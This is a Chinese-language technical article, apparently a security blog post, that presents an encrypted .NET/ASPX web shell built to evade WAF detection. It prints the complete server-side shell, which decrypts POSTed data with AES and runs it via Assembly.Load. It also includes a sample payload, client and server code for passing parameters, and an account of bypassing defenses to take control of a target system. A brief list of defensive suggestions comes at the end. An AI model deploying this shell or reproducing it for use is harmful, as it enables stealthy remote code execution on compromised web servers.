利用动态二进制加密实现新型一句话木马之.NET篇
字数 1294 2025-08-27 12:33:31
利用动态二进制加密技术实现新型.NET一句话木马
概述
本文介绍了一种新型的.NET一句话木马实现技术,通过动态二进制加密方式绕过WAF和其他网络安全防护系统的检测。该技术可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。
技术原理
核心思路
- 动态解析二进制DLL文件:利用.NET的Assembly.Load方法加载并执行加密的二进制流
- 会话密钥机制:每次会话生成唯一密钥,避免密钥在网络中明文传输
- 参数化Payload:通过特殊方式在二进制流中传递执行参数
关键技术点
-
Assembly.Load方法:
public static System.Reflection.Assembly Load(byte[] rawAssembly);该方法可以加载包含已发出程序集的COFF格式映像的程序集
-
CreateInstance方法:
public object CreateInstance(string typeName);用于实例化已加载程序集中的类
-
RijndaelManaged加密:
使用AES算法对传输的二进制流进行加密
服务端实现
基本结构
服务端代码分为三部分:
- 密钥生成与分发
- 请求数据处理
- Payload执行
完整代码
<%@ Page Language="C#" %>
<%
if (Request["pass"]!=null)
{
Session.Add("k", Guid.NewGuid().ToString().Replace("-","").Substring(0,16));
Response.Write(Session["k"]);
return;
}
byte[] k = Encoding.Default.GetBytes(Session["k"] + "");
byte[] c = Request.BinaryRead(Request.ContentLength);
System.Reflection.Assembly.Load(
new System.Security.Cryptography.RijndaelManaged()
.CreateDecryptor(k, k)
.TransformFinalBlock(c, 0, c.Length))
.CreateInstance("Payload").Equals(this);
%>
代码解析
-
密钥生成:
- 当收到带有"pass"参数的GET请求时
- 生成16位随机字符串作为密钥
- 将密钥存入Session并返回给客户端
-
数据处理:
- 从Session获取密钥
- 读取POST请求的二进制内容
- 使用AES解密数据
-
Payload执行:
- 加载解密后的程序集
- 创建指定类的实例
- 调用Equals方法并传入当前Page对象
Payload设计
基本Payload示例
using System;
using System.Diagnostics;
public class Payload
{
public override bool Equals(Object obj)
{
Process.Start("calc.exe");
return true;
}
}
高级Payload特性
-
获取HTTP上下文对象:
System.Web.UI.Page page = (System.Web.UI.Page)obj; var request = page.Request; var response = page.Response; var session = page.Session; var server = page.Server; -
参数传递机制:
- 利用Assembly.Load忽略尾部额外数据的特性
- 在DLL文件尾部附加参数数据
- 使用特殊分隔符(~~~~~~)标记参数开始位置
客户端实现
关键功能
-
密钥获取:
- 发送GET请求获取会话密钥
-
Payload构造:
- 预编译Payload DLL
- 在DLL尾部附加参数数据
-
加密传输:
- 使用AES加密整个数据流
- 发送POST请求执行Payload
参数传递实现
-
参数附加:
// 将参数序列化为JSON String extraParams = "{\"param1\":\"value1\",\"param2\":\"value2\"}"; // 附加到DLL字节流 byte[] finalData = new byte[dllBytes.length + 6 + extraParams.getBytes().length]; System.arraycopy(dllBytes, 0, finalData, 0, dllBytes.length); System.arraycopy("~~~~~~".getBytes(), 0, finalData, dllBytes.length, 6); System.arraycopy(extraParams.getBytes(), 0, finalData, dllBytes.length + 6, extraParams.getBytes().length); -
服务端参数提取:
private Dictionary<string, object> getExtraData(byte[] fullData) { int extraIndex = IndexOf(fullData, new byte[] { 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e }); byte[] extraData = new List<byte>(fullData).GetRange(extraIndex + 6, fullData.Length - extraIndex - 6).ToArray(); String extraStr = System.Text.Encoding.Default.GetString(extraData); return new System.Web.Script.Serialization.JavaScriptSerializer() .Deserialize<Dictionary<string, object>>(extraStr); }
防御绕过分析
-
流量层面:
- 所有通信内容均为加密二进制流
- 无固定特征字符串
- 密钥不通过网络传输
-
文件层面:
- 服务端代码简洁,无恶意特征
- 核心功能通过反射实现
- 执行逻辑动态变化
实际应用案例
-
传统一句话木马被拦截:
- 常规aspx一句话木马上传后
- 连接时直接被防御系统reset
-
新型木马成功绕过:
- 上传新型一句话木马
- 使用专用客户端连接
- 成功获取目标系统控制权
防御建议
-
检测层面:
- 监控Assembly.Load的异常使用
- 检测异常的二进制流加载行为
- 分析Session的异常使用模式
-
防护层面:
- 限制反射功能的使用
- 控制动态程序集加载
- 加强密钥管理监控
-
响应层面:
- 建立异常行为基线
- 实施实时行为分析
- 加强文件上传审核
总结
这种新型.NET一句话木马技术通过动态二进制加密和反射机制,有效绕过了传统安全防护系统的检测。其核心优势在于:
- 无固定特征的可执行代码
- 加密的通信内容
- 动态的参数传递机制
- 简洁的服务端实现
安全团队需要深入了解这种技术的实现原理,才能有效防御此类攻击。